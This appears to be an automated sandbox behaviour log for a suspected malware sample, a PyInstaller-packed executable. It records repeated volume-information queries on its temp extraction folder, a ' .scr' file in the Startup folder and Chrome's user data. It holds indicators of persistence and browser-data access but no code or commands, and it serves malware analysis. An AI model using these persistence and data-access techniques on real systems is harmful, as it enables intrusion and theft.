Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\_sqlite3.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
